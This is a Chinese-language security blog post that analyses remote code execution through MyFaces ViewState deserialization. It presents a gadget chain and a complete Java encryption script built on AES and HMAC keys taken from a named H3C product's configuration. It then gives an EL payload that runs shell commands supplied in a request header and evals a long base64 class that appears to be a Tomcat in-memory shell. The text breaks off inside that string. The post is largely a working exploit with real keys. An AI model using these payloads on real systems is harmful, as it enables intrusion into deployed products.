JSf框架(myfaces) 反序列化探索

0x01 简介

​ JSF(JavaServer Faces)是Java EE平台上的一个标准Web框架,采用组件化和事件驱动模型,简化了Java Web应用的用户界面开发。Apache MyFaces是JSF的一个开源实现,提供了完整的JSF功能和扩展,支持Facelets视图技术,增强了组件库和性能,广泛应用于企业级Java网页开发中。MyFaces与JSF规范兼容,帮助开发者快速构建可维护、可扩展的Web应用,同时支持EL表达式等现代特性,提升开发效率和代码清晰度1。

0x02 反序列化漏洞

​ jSF应用中存在的不安全反序列化漏洞,主要源于JSF框架对视图状态(ViewState)的处理机制。ViewState用于保存页面组件的状态,通常以序列化对象形式存储在客户端(隐藏字段)或服务器端。当JSF框架(如Apache MyFaces或Mojarra)在反序列化ViewState时,如果没有对传入的数据进行充分验证或加密保护,攻击者可以构造恶意的序列化数据,利用反序列化过程执行任意代码或破坏应用逻辑,导致远程代码执行(RCE)等严重安全风险。

以xhtml和jsf等结尾,具体看配置

0x03 漏洞分析

在jsf的接口中如果传入javax.faces.ViewState就会进去流程

org.apache.myfaces.renderkit.html.HtmlResponseStateManager#getSavedState

image-20250613154020863

从facesContext获取RequestParame传值。然后调用decode进行解码。

image-20250613154851167

解码过程中会调用StateUtils.reconstruct(token, facesContext.getExternalContext()) 进行还原对象

image-20250613155129010

image-20250613155307600

然后会得到数组,然后在ctx中获取配置,看是否设置了加密和开启了gzip压缩,不设置就是开启加密,不实用gzip。

开启加密就会下面的方法

org.apache.myfaces.shared.util.StateUtils#decrypt

image-20250613155818166

这个方法主要就是从ctx获取配置(加密key、iv、模式,algorithmParams)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
  private static void testConfiguration(ExternalContext ctx) {
String algorithmParams = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.PARAMETERS");
if (algorithmParams == null) {
algorithmParams = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.PARAMETERS".toLowerCase());
}

String iv = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.IV");
if (iv == null) {
iv = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.IV".toLowerCase());
}

if (algorithmParams != null && algorithmParams.startsWith("CBC") && iv == null) {
throw new FacesException("org.apache.myfaces.ALGORITHM.PARAMETERS parameter has been set with CBC mode, but no initialization vector has been set with org.apache.myfaces.ALGORITHM.IV");
}
}

private static byte[] findInitializationVector(ExternalContext ctx) {
byte[] iv = null;
String ivString = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.IV");
if (ivString == null) {
ivString = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.IV".toLowerCase());
}

if (ivString != null) {
iv = (new Base64()).decode(ivString.getBytes());
}

return iv;
}

private static String findAlgorithm(ExternalContext ctx) {
String algorithm = ctx.getInitParameter("org.apache.myfaces.ALGORITHM");
if (algorithm == null) {
algorithm = ctx.getInitParameter("org.apache.myfaces.ALGORITHM".toLowerCase());
}

return findAlgorithm(algorithm);
}
private static String findAlgorithmParams(ExternalContext ctx) {
String algorithmParams = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.PARAMETERS");
if (algorithmParams == null) {
algorithmParams = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.PARAMETERS".toLowerCase());
}

if (algorithmParams == null) {
algorithmParams = "ECB/PKCS5Padding";
}

if (log.isLoggable(Level.FINE)) {
log.fine("Using algorithm paramaters " + algorithmParams);
}

return algorithmParams;
}
private static SecretKey getMacSecret(ExternalContext ctx) {
Object secretKey = (SecretKey)ctx.getApplicationMap().get("org.apache.myfaces.MAC_SECRET.CACHE");
if (secretKey == null) {
String cache = ctx.getInitParameter("org.apache.myfaces.MAC_SECRET.CACHE");
if (cache == null) {
cache = ctx.getInitParameter("org.apache.myfaces.MAC_SECRET.CACHE".toLowerCase());
}

if (!"false".equals(cache)) {
throw new NullPointerException("Could not find SecretKey in application scope using key 'org.apache.myfaces.MAC_SECRET.CACHE'");
}

String secret = ctx.getInitParameter("org.apache.myfaces.MAC_SECRET");
if (secret == null) {
secret = ctx.getInitParameter("org.apache.myfaces.MAC_SECRET".toLowerCase());
}

if (secret == null) {
throw new NullPointerException("Could not find secret using key 'org.apache.myfaces.MAC_SECRET'");
}

String macAlgorithm = findMacAlgorithm(ctx);
secretKey = new SecretKeySpec(findMacSecret(ctx, macAlgorithm), macAlgorithm);
}

if (!(secretKey instanceof SecretKey)) {
throw new ClassCastException("Did not find an instance of SecretKey in application scope using the key 'org.apache.myfaces.MAC_SECRET.CACHE'");
} else {
return (SecretKey)secretKey;
}
}

private static String findMacAlgorithm(ExternalContext ctx) {
String algorithm = ctx.getInitParameter("org.apache.myfaces.MAC_ALGORITHM");
if (algorithm == null) {
algorithm = ctx.getInitParameter("org.apache.myfaces.MAC_ALGORITHM".toLowerCase());
}

return findMacAlgorithm(algorithm);
}

就是从web.xml 配置中获取值

image-20250613160456405

image-20250613160844055

image-20250613160722872

不设置就设置这几个模式,DES/ECB/PKCS5Padding, macAlgorithm, DES key , HmacSHA1 key 随机生成。

image-20250613162857572

在继续就是传入的数据还原成数组后取分隔最后20位,然后用最后20位对前面的数组数据进行验签,保证数据没有串改。

签证通过就调用cipher.doFinal(secure, 0, secure.length - macLenght) 对前面的数据就行解码。

image-20250613163233238

解码后判断ctx是否使用gzip,是就解码,默认不使用

最后就来到最重要的漏洞出发点。

org.apache.myfaces.shared.util.StateUtils#getAsObject

image-20250613163419701

image-20250613163543235

默认就是jdk 反序列化,除非你自己接口实现,应该没人蛋疼去实现hessian吧

获取反序列化类型,然后进行反序列化。

0x04 myface 自带 gadegt

​ myface框架自带一条gadget。

org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression

image-20250613164400323

equals和hashcode回调用getMethodExpression

image-20250613164434910

从当前facecontext中获取elcontext,然后直接getvalue,el表达式出发。

注意这里是facecontext,所以构造要用FacesContext构造。

image-20250613164624235

其中属性限制是javax.el.ValueExpression的类型,从FacesContext获取,也就是用FacesContextImpl进行构造

0x05 gadget构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public static Object generatePayload(String payloads) throws Exception {


// 初始化 FacesContext 及 ELContext
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
//
FacesELContext elContext = new FacesELContext(new CompositeELResolver(), fc);


// 使用反射将 elContext 写入 FacesContextImpl 中
Field field = FacesContextImplBase.class.getDeclaredField("_elContext");
field.setAccessible(true);
field.set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression harmlessExpression = expressionFactory.createValueExpression(elContext, payloads, Object.class);

ValueExpressionMethodExpression expression = new ValueExpressionMethodExpression(harmlessExpression);

HashMap<Object, Object> hashMap = utils.makeMap(expression, expression);

return hashMap;
}

避免序列化的时候出触发

0x06 现实世界中列子

h3c的某厂品的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<servlet>
<servlet-name>Faces Servlet</servlet-name>
<servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.xhtml</url-pattern>
</servlet-mapping>
<context-param>
<param-name>javax.faces.FACELETS_SKIP_COMMENTS</param-name>
<param-value>true</param-value>
</context-param>

<context-param>
<param-name>facelets.BUILD_BEFORE_RESTORE</param-name>
<param-value>true</param-value>
</context-param>

<context-param>
<description>Indicate the encryption algorithm used for encrypt the view state.</description>
<param-name>org.apache.myfaces.ALGORITHM</param-name>
<!-- See http://java.sun.com/j2se/1.4.2/docs/guide/security/jce/JCERefGuide.html
for details -->
<param-value>AES</param-value>
</context-param>


<context-param>
<description>Defines the default mode and padding used for the encryption algorithm</description>
<param-name>org.apache.myfaces.ALGORITHM.PARAMETERS</param-name>
<param-value>CBC/PKCS5Padding</param-value>
</context-param>


<context-param>
<description>Defines the initialization vector (Base64 encoded) used for the encryption
algorithm. Note its usage depends on the algorithm config used, that means it must
be defined if CBC mode is used and could not if ECB mode is used</description>
<param-name>org.apache.myfaces.ALGORITHM.IV</param-name>
<param-value>NzY1NDMyMTA3NjU0MzIxMA==</param-value>
</context-param>


<context-param>
<description>Indicate the algorithm used to calculate the Message Authentication Code that
is added to the view state.</description>
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-value>HmacSHA1</param-value>
</context-param>

<context-param>
<description>Defines the secret (Base64 encoded) used to initialize the secret key for encryption
algorithm. The size of it depends on the algorithm used for encryption</description>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz</param-value>
</context-param>


<context-param>
<description>
Define the initialization code (Base64 encoded) that are used to initialize the secret key used
on the Message Authentication Code algorithm. The size of it depends on the algorithm used for mac calculation
</description>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>aW1jX3BsYXQ=</param-value>
</context-param>

<context-param>
<param-name>org.apache.myfaces.SECRET.CACHE</param-name>
<param-value>false</param-value>
</context-param>

<context-param>
<param-name>org.apache.myfaces.MAC_SECRET.CACHE</param-name>
<param-value>false</param-value>
</context-param>

<context-param>
<param-name>org.apache.myfaces.ERROR_HANDLING</param-name>
<param-value>false</param-value>
</context-param>

从配置文件知道是aes和hamcsha1对应key MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz 和NzY1NDMyMTA3NjU0MzIxMA== 还有mac secert aW1jX3BsYXQ=。

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
package org.example;

import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.shared.util.StateUtils;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import org.yaml.snakeyaml.util.UriEncoder;

import javax.crypto.Cipher;
import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import javax.el.ELContext;
import javax.el.ELManager;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;

public class aesenc {
public static byte[] aencode(byte[] insecure) {
try {
// 使用与解密相同的Base64密钥和IV
byte[] SECRETbytes = Base64.getDecoder().decode("MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz".getBytes());
byte[] MacSecret = Base64.getDecoder().decode("aW1jX3BsYXQ=".getBytes());
byte[] _iv = Base64.getDecoder().decode("NzY1NDMyMTA3NjU0MzIxMA==".getBytes());

String Algorithm = "AES";
String MAC_ALGORITHM = "HmacSHA1";

SecretKey secretKey = new SecretKeySpec(SECRETbytes, Algorithm);
SecretKey macSecretKey = new SecretKeySpec(MacSecret, MAC_ALGORITHM);

// 初始化Cipher
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
IvParameterSpec ivSpec = new IvParameterSpec(_iv);
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);

// 执行加密
byte[] encrypted = cipher.doFinal(insecure);

// 计算HMAC
Mac mac = Mac.getInstance(MAC_ALGORITHM);
mac.init(macSecretKey);
byte[] hmac = mac.doFinal(encrypted);

// 拼接加密数据和HMAC
byte[] result = new byte[encrypted.length + hmac.length];
System.arraycopy(encrypted, 0, result, 0, encrypted.length);
System.arraycopy(hmac, 0, result, encrypted.length, hmac.length);

return result;

} catch (Exception e) {
e.printStackTrace();
return null;
}
}

public static byte[] adecode(byte[] secure) {
try {
// 使用与加密相同的密钥和IV
byte[] SECRETbytes = Base64.getDecoder().decode("NzY1NDMyMTA3NjU0MzIxMA==".getBytes());
byte[] MacSecret = Base64.getDecoder().decode("aW1jX3BsYXQ=".getBytes());
byte[] _iv = Base64.getDecoder().decode("NzY1NDMyMTA3NjU0MzIxMA==".getBytes());

// 定义算法
String Algorithm = "AES";
String MAC_ALGORITHM = "HmacSHA1";

// 生成密钥和Mac密钥
SecretKey secretKey = new SecretKeySpec(SECRETbytes, Algorithm);
SecretKey macSecretKey = new SecretKeySpec(MacSecret, MAC_ALGORITHM);

// 计算MAC长度
Mac mac = Mac.getInstance(MAC_ALGORITHM);
mac.init(macSecretKey);
int macLength = mac.getMacLength();

// 分离加密数据和MAC
if (secure.length < macLength) {
throw new IllegalArgumentException("加密数据长度不足");
}

byte[] encryptedData = Arrays.copyOfRange(secure, 0, secure.length - macLength);
byte[] receivedMac = Arrays.copyOfRange(secure, secure.length - macLength, secure.length);

// 验证MAC
mac.update(encryptedData);
byte[] calculatedMac = mac.doFinal();

if (!MessageDigest.isEqual(receivedMac, calculatedMac)) {
throw new SecurityException("MAC验证失败,数据可能被篡改");
}

// 解密数据
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
IvParameterSpec ivSpec = new IvParameterSpec(_iv);
cipher.init(Cipher.DECRYPT_MODE, secretKey, ivSpec);

return cipher.doFinal(encryptedData);

} catch (Exception e) {
e.printStackTrace();
return null;
}
}


public static byte[] gzipCompress(byte[] data) throws IOException {
if (data == null || data.length == 0) {
return data;
}
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(bos)) {
gzip.write(data);
// 关闭流前调用finish确保所有数据写出
gzip.finish();
}
return bos.toByteArray();
}

public static void main(String[] args) throws Exception {

String expr ="${}";

System.out.println(expr);


byte[] serialize = utils.serialize(generatePayload(expr));
// 加密
byte[] aencpde = aencode(serialize);
byte[] finalenc = StateUtils.encode(aencpde);
System.out.println(UriEncoder.encode(new String(finalenc)));

}

public static Object generatePayload(String payloads) throws Exception {


// 初始化 FacesContext 及 ELContext
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
//
FacesELContext elContext = new FacesELContext(new CompositeELResolver(), fc);


// 使用反射将 elContext 写入 FacesContextImpl 中
Field field = FacesContextImplBase.class.getDeclaredField("_elContext");
field.setAccessible(true);
field.set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression harmlessExpression = expressionFactory.createValueExpression(elContext, payloads, Object.class);

ValueExpressionMethodExpression expression = new ValueExpressionMethodExpression(harmlessExpression);

HashMap<Object, Object> hashMap = utils.makeMap(expression, expression);

return hashMap;
}
}

javax.faces.context.FacesContext

image-20250613172032066

可以获取到的对象

javax.faces.context.ExternalContext

image-20250613172109612

这样我们就可以随便获取对象,构造了

1
facesContext.getExternalContext().getResponse().getWriter()

这样就可以写入了,或者回显

image-20250613173433546

image-20250613173242124

有的环境是jdk8+,在js调用defineAnonymousClass0会限制,可以用bypassmoudule去绕过。或者用单类名不要包名去。也可以用java.lang包开头的类名

aeebd9f54c6dcdd264b0a8009feca436

1
2
3
4
5
6
  String expr ="${facesContext.getExternalContext().setResponseHeader(\"Content-Type\", \"text/plain;charset=UTF-8\")}\n" +
"${session.setAttribute(\"scriptfactory\",\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance())}\n" +
"${session.setAttribute(\"scriptengine\",session.getAttribute(\"scriptfactory\").getEngineByName(\"JavaScript\"))}\n" +
"${session.getAttribute(\"scriptengine\").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}\n" +
// "${session.getAttribute(\"scriptengine\").eval(\"var os=java.lang.System.getProperty(\\\"os.name\\\");var cmd=null;var args=null;if(os.toLowerCase().contains(\\\"win\\\")){cmd=\\\"cmd.exe\\\";args=\\\"/C\\\";}else{cmd=\\\"/bin/bash\\\";args=\\\"-c\\\";}var proc = new java.lang.ProcessBuilder(cmd,args,\\\"\".concat(request.getHeader(\"X-Sec\")).concat(\"\\\").start();var is=proc.getInputStream();var sc=new java.util.Scanner(is,\\\"UTF-8\\\");var out=\\\"\\\";while(sc.hasNext()){out+=sc.nextLine()+String.fromCharCode(10);}print(out);\"))}\n" +
"${session.getAttribute(\"scriptengine\").eval(\"var s = 'yv66vgAAADIBPgEABGhhc3gHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAF9vcmcuYXBhY2hlLmNvbGxlY3Rpb25zLmNveW90ZS5zZXIuaW1wbC5VbndyYXBwaW5nQmVhblNlcmlhbGl6ZXI3NzBlZWQ1NzA3ZGI0NDZkOWVmOTZhMGE2MzU1ODhmZQgABwEAD2dldEJhc2U2NFN0cmluZwEAE2phdmEvaW8vSU9FeGNlcHRpb24HAAoBABBqYXZhL2xhbmcvU3RyaW5nBwAMAQwcSDRzSUFBQUFBQUFBQUxWWGVWeFUxeFgrSGpQd2htRTBjVkFVYlpPNHd6QXdpR3hDRmtVaEVBR05ZekJJVFBybXpRVkdoNW54elJzVTI5ZzJ0ZW1XcG52VGRGK1MwamEyMVRZT0t0VVl1NlJOOXlYZDk3MXArMy8vU2RQdnZ2Y1l0a0g4cHorR3Q5eDd6bmZPL2M1eTczdit2eGN2QTlpQ2Z5dDRJR2tNaGJTVXBnK0xrSjZNeDRWdXhwS0pOSi9Ia3FZSXBZVVJpbzJrNHFGN0VzY01MWldLSlliYWhKWUlDeU9teFdNbmhOSFVWQ3RFdEtHcHRpa2FxYTl2akc0VGc5c2F0VnF0Y1d0RFEzUHpvRkNoS0ZoeFdCdlZRbkV0TVJUYUdkZlM2ZTZrRmhXR0NwZUNEWExxdUxRekdoZG1LR3pmOTRtakdaRTJ1Mk5wVXlTa1pLR0NvbHRqaVpoNXV3SlhSV1dmQXZmT1pGUW91S0U3bGhDOW1aR0lNUFpya1RoSC9OMUpYWXYzYWZTUTc4NmcyeHlPcFJWbzNmL241YmI2b01MamhSdExGYXl1Nk02NzhGYnB2NklyV0xuQXZBUzVVWUtVVW02SS9GVU10RlhPbFczbFhFUkJ3VUNiZ3BLb0dDUVAxamhoS2Q3Vk5WL0JoM0tzbHJCckZOeG8yQlR2NHIrUkhCTlJCWnRzZHhjS1J2dW9TSmlXNjZYcCtSTUsxbCtITnFQajJPMWlMRzFPYWJsMDJ0UDI0N3BJeVppb1dNZUZPNWk2TVpZeWs2R2RzZFF3NlZIZ01VUTZ4Ymd4c25PZEhqYk5WS2lUbDV4OVc1SmFhbHFrMDRSV2NNdkNTcFlFaFYzSnlHR1pYcFpyR1RNV0QvVm9LUW5pTEVEQjVrVXRXNExVV2Jzb015cXFGV3k4TGp3VkljYnEraGF0WW91Q202NjlWaFZiRlN5WnRVd1ZEUndLbTVwK2hHOU9DUzBiRXVac1Q4aGpSZVUxbzg2VWE4WTJMMnJRb3NBN0xHUjI5Mm9qVnBWT3h6eHNHaXcweXQ2SzI0cFJBTlo0TVkxMVd1SzV2SndsVzVsUGZUdDJsS0FXc2g1c1UzMWFQQ044MkdYRHRqUHI1MnFwdUpQWnBDY1RwaFpMc0hUV3pDclpZYzBJeTRVa2RORmFlZENITHR6bFJTZDJLeWdibWlhNXcwaU81Qmk1ZS9GOHRKbVpTOXlDZWV0REQzcTk5SDhQS2JSaTRDVHh1bm5rejB0akgrN0dQc2xKbVBHYkRuR25saDYyd255UEYzMVk2a0VWOHoyVm9mdk5NOWUvSjNLWS9iRjEva2psL0NFZituR3dCSTBZOEdDakI1dlpuREllUE1ET20yTHI4VUd6WThDRzVhRWhLekNzb0R5UnpXT3R6NGNvUkFucU1VZy9kN1NIUFJoMm1zYWMxcUNDTlZ0Q2tyb1NhVk5qMkJSVUxwZzljOXVLRDNHTWVIRUU1UGJtV1FMcGxOQ1oyYm9oek4xaUxNdzNGU211aEliYXhrekJ2SEZYVkE2MCtXQWdMUlBFdEh0d0hzTjlzcldQZW5FVXg2Z2tOelFwMm1WTHBvV2VNV0xtV0loR0xORXhuSkQrdkhwVzR0cXNxSGpRZHNEcCthVVYrZnI5YS9FNkwwN2k5V3hrY3laVnZFSEIwaWw5ZTk5UlVENGZKYmNsdlJFUGUzRUtiNUtwV0dwWDZENm5RbGRQcWNXU29iYk00S0F3Uk5TZW85NWI4VGFaZ1krd2FQTExxSGpVNnVoYVZPN2xDcFpYNUszdWQrSmRYcndENzFiZ2kyaHAwVmkvUytqV0VhQXNYNFJsTk42TDkwbG4zOCttSFUxMnhCSmFuS2NJdVpYS3lRL2djY250QjMxWWdUSXA5bUZtVGtJY204NmMyWDdrOHZ5aitKams0ZVBFWWlscjhiVGNuL05rTGZ2RkovRXBTZjhUTE56Y3ZrYnhRbExYMGJkb3NlVnBkVGtueHZFWjZmTm5uZTV1ei9ZbXd4bDl1Q01tNHRFWjIraFRUTFJSeldpWTJ2VVdsbTIxSld0bmQyZkhwajIzeGI3Vk1WVm1pQmhpVUo2a1FoYWNJOGxOWlZtZUk4dktCYlJVWkpubEpJWlJqV3ZNRFd0VVFmVWl6WCsyYVIvTzQ0S016a1h1WDdKWFpsTEMwT05XQi9xS3JJVlR1RFFuWExNcTh4a3ZUdU1LZGRQQzNLSHJzb3ZheDhlS2cxTGdLcjdxeFFTK3hpNUU4RGs3MDdWNjR6ZnduRlQ4Sm1OUGIwNmNrQmxwWmE4eGRjYVpjL3FSQnhBZXpKamM2VXlpWmlTVzFtdmFkb1RicDVMZThPQjd4QmhNT3J2cHhrVlltdW9IUDhBUEpRYy9ZZzNaOXUxSzlPQW5ka0gzQ0hNNFNkYTM1OEVibUllWEx3NDJBazM5RkQrVHBuNnVZTlZDVWlwK3lTS0tKVWFUUjdpR2JYbklITGhPZm4rTjMzanhLL3hXeFNxblY5YklqYTZteldvVUh2ekIzanB6NVAySmRtMENQUGdMTmZTdFRYWFJ4bWdrMGhEWm9qZlVSeno0R3lWa0JxUk1ELzdCNS8wSGpMSGpCeno0SjlheTd0emdFRnk4Y2wvanA1UWlqeTdXZlpkMTkvQkp0YTdGZkd1M0pJR1ZnUW5jRVBELy9SejBnUC9GYzdnajRQL1hPWFNjNVZRQnZMektrZ2JLK0xjU0pYenkyV3E4TDdIQStWWGdRTzZsQzFKMlZhQnFBc3NYeDF4TmxEVVdacG10NTJES3AyWHdFMVdSZmRCQnY4MUJMdzVVdWFvdVQrQVZaM0p3UlpaTE44K0FLczVCRmRQSUtndnFsYmpKZ1dxd05PbjgyVGtRRzJaQUtEa0k3cnk0eFlKWU93V2hQRUVObFhOWHE3Sm92WUxhbm1EZ2FkeHhBVHNMV0ZkUFRiL3dvU09MN3NmeFdDQTRnYjI5d1F2WXI2REZQWW0rL2drY2FDa3NML1RmeThIN1hEakF4MFBWdWNmN3k5M09zOXYvS3NMb0Z6RGtnajkySHNtV292S2l3a2tjN1pmRFdXVDhzUWtjeitJMWt5am9EMlR4VUJadm5zQmJ5b3NDQkg2N2dpemVrOFZqV1h3b2k0OWs4WW55d2l5ZVBEQ093cGFpY2JoN3o4b1RFRnZVSk5Zek9TN2hDdTh1aTVNT1JnSFl6TkZLL2dVUVFoV2FFT1NSdGhxN2VYenU0MGlFWCt4SjFHRVVXL0VJRDBQbmVkcWFKTUdYMEVLa1pqekxKSlNjZHNvakJ0cUl1SUhNaGZBb05tSVQ3VFRoWVZxb1lHeTM0MEhMU3FGa05jZjlWWWQ3RHk3U2VwQytObkYwRTl3djAweVJpZ0lWTlNwcVZkU3BxRmRwWEZHeC9qOVEybmlUc2VVeGxkZFBVMGVXeDNvci9KMGNrVmFDU2srVi85N3orSnovRUM5WFVOY3pqdkxlcWhsdm5oYjNPRno4QmM5UXA0RGVMeWZHQ3ZxMFRzTFRXKzU1SEplb0wzQTFFclZaNlpFeDZLMzJuM3dTWmRYTWowa2lMV2x4VjJkeHVYZjg1UmVEejhFM2lkUDlMSkpubndtNnMvaDZrQXJmT2tQL2xxQ1UyWGZhNGIrT0xBQTdpYitMN0hWd3RwUHpYWlM0aXltOW13bmRUVzcya05HOWpNZyt5b2N0cnV2cHh5citmeDVmNEtycEViNklNeGFielRqTE91TDNPWW42RXI3TU96L0c4RFRPV1pFQTErZCtDYXFLQ1JXbmVsV2NMdmJOb0U2Ulp4ZG5zUzh4aUhLeFkvN3ZuOGVQZTRMK0Y5eVhjS3JmNWU4TVovR0xJTE9NN3lmN1hWVjgvZDBWL0Q3M085UGoveU0xeU02ZlhkU2dzTUw3U1VxMXVNdkp4VVArdjg1RUtuY3ZoR1BWYXkyOW44clcxWFFKUFBBWDRTQkhCOGpHZlZ6dklYSjB2OFhLN1p3cFlnNDl6OVVXY0dhSDllVGlmRFcrVFg3YzFMaVRuSDNIcXY2eFhBYU80YnNXWjAxMmx6Z3FFMnVhRlB3UGpyL3pPYmdTQUFBPQgADgEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAEAARCgANABIBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAVDAAQABQKAAQAFwEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMABkAGgoAAgAbAQAOamF2YS91dGlsL0xpc3QHAB0BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMAB8AIAsAHgAhAQASamF2YS91dGlsL0l0ZXJhdG9yBwAjAQAHaGFzTmV4dAEAAygpWgwAJQAmCwAkACcBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMACkAKgsAJAArAQALZ2V0TGlzdGVuZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwALQAuCgACAC8BAAthZGRMaXN0ZW5lcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAMQAyCgACADMBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwA2AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAOAEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HADoBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwA8CgA9ABcBABBqYXZhL2xhbmcvVGhyZWFkBwA/AQAKZ2V0VGhyZWFkcwgAQQEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABDAEQKAAIARQEAE1tMamF2YS9sYW5nL1RocmVhZDsHAEcBAAdnZXROYW1lDABJAAYKAEAASgEAHENvbnRhaW5lckJhY2tncm91bmRQcm9jZXNzb3IIAEwBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwATgBPCgANAFABAAZ0YXJnZXQIAFIBAAVnZXRGVgwAVABECgACAFUBAAZ0aGlzJDAIAFcBAAhjaGlsZHJlbggAWQEAEWphdmEvdXRpbC9IYXNoTWFwBwBbAQAGa2V5U2V0AQARKClMamF2YS91dGlsL1NldDsMAF0AXgoAXABfAQANamF2YS91dGlsL1NldAcAYQsAYgAhAQADZ2V0DABkAC4KAFwAZQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAZwBoCgAEAGkBAA9qYXZhL2xhbmcvQ2xhc3MHAGsKAGwASgEAD1N0YW5kYXJkQ29udGV4dAgAbgEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgwAcABxCwAeAHIBABVUb21jYXRFbWJlZGRlZENvbnRleHQIAHQBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DAB2AHcKAEAAeAEACHRvU3RyaW5nDAB6AAYKAGwAewEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIIAH0BAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyCAB/AQAJcmVzb3VyY2VzCACBAQAHY29udGV4dAgAgwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwCFAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWDAAQAIcKAIYAiAEAE2phdmEvbGFuZy9UaHJvd2FibGUHAIoBAA1jdXJyZW50VGhy